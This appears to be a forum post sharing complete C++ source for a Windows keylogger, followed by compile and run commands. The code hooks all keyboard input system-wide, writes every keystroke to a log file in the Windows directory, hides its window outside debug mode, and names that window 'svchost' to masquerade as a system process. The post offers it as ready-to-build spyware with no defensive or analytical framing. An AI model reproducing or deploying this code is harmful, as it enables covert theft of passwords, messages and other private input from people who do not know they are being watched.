#1
Code:
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define DEBUG 1

#define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
#define CLASSNAME "winkey"
#define WINDOWTITLE "svchost"

char windir[MAX_PATH + 1];
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */

/**
* \brief Called by Windows automagically every time a key is pressed (regardless
* of who has focus)
*/
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
static bool capslock = false;
static bool shift = false;
char tmp[0xFF] = {0};
std::string str;
DWORD msg = 1;
KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
bool printable;

/*
* Get key name as string
*/
msg += (st_hook.scanCode << 16);
msg += (st_hook.flags << 24);
GetKeyNameText(msg, tmp, 0xFF);
str = std::string(tmp);

printable = (str.length() <= 1) ? true : false;

/*
* Non-printable characters only:
* Some of these (namely; newline, space and tab) will be
* made into printable characters.
* Others are encapsulated in brackets ('[' and ']').
*/
if (!printable) {
/*
* Keynames that change state are handled here.
*/
if (str == "CAPSLOCK")
capslock = !capslock;
else if (str == "SHIFT")
shift = true;

/*
* Keynames that may become printable characters are
* handled here.
*/
if (str == "ENTER") {
str = "\n";
printable = true;
} else if (str == "SPACE") {
str = " ";
printable = true;
} else if (str == "TAB") {
str = "\t";
printable = true;
} else {
str = ("[" + str + "]");
}
}

/*
* Printable characters only:
* If shift is on and capslock is off or shift is off and
* capslock is on, make the character uppercase.
* If both are off or both are on, the character is lowercase
*/
if (printable) {
if (shift == capslock) { /* Lowercase */
for (size_t i = 0; i < str.length(); ++i)
str[i] = tolower(str[i]);
} else { /* Uppercase */
for (size_t i = 0; i < str.length(); ++i) {
if (str[i] >= 'A' && str[i] <= 'Z') {
str[i] = toupper(str[i]);
}
}
}

shift = false;
}

#ifdef DEBUG
std::cout << str;
#endif
std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
std::ofstream outfile(path.c_str(), std::ios_base::app);
outfile << str;
outfile.close();
}

return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
* \brief Called by DispatchMessage() to handle messages
* \param hwnd Window handle
* \param msg Message to handle
* \param wp
* \param lp
* \return 0 on success
*/
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
switch (msg) {
case WM_CLOSE: case WM_DESTROY:
running = false;
break;
default:
/* Call default message handler */
return DefWindowProc(hwnd, msg, wp, lp);
}

return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
LPSTR cmdline, int ncmdshow)
{
/*
* Set up window
*/
HWND hwnd;
HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
MSG msg;
WNDCLASSEX windowclass;
HINSTANCE modulehandle;

windowclass.hInstance = thisinstance;
windowclass.lpszClassName = CLASSNAME;
windowclass.lpfnWndProc = windowprocedure;
windowclass.style = CS_DBLCLKS;
windowclass.cbSize = sizeof(WNDCLASSEX);
windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
windowclass.lpszMenuName = NULL;
windowclass.cbClsExtra = 0;
windowclass.cbWndExtra = 0;
windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

if (!(RegisterClassEx(&windowclass)))
return 1;

hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
thisinstance, NULL);
if (!(hwnd))
return 1;

/*
* Make the window invisible
*/
#ifdef DEBUG
/*
* Debug mode: Make the window visible
*/
ShowWindow(hwnd, SW_SHOW);
#else
ShowWindow(hwnd, SW_HIDE);
#endif
UpdateWindow(hwnd);
SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

/*
* Hook keyboard input so we get it too
*/
modulehandle = GetModuleHandle(NULL);
kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

running = true;

GetWindowsDirectory((LPSTR)windir, MAX_PATH);

/*
* Main loop
*/
while (running) {
/*
* Get messages, dispatch to window procedure
*/
if (!GetMessage(&msg, NULL, 0, 0))
running = false; /*
 * This is not a "return" or
 * "break" so the rest of the loop is
 * done. This way, we never miss keys
 * when destroyed but we still exit.
 */
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return 0;
}


g++ s.key.log.cpp -o keylogger 
./a.out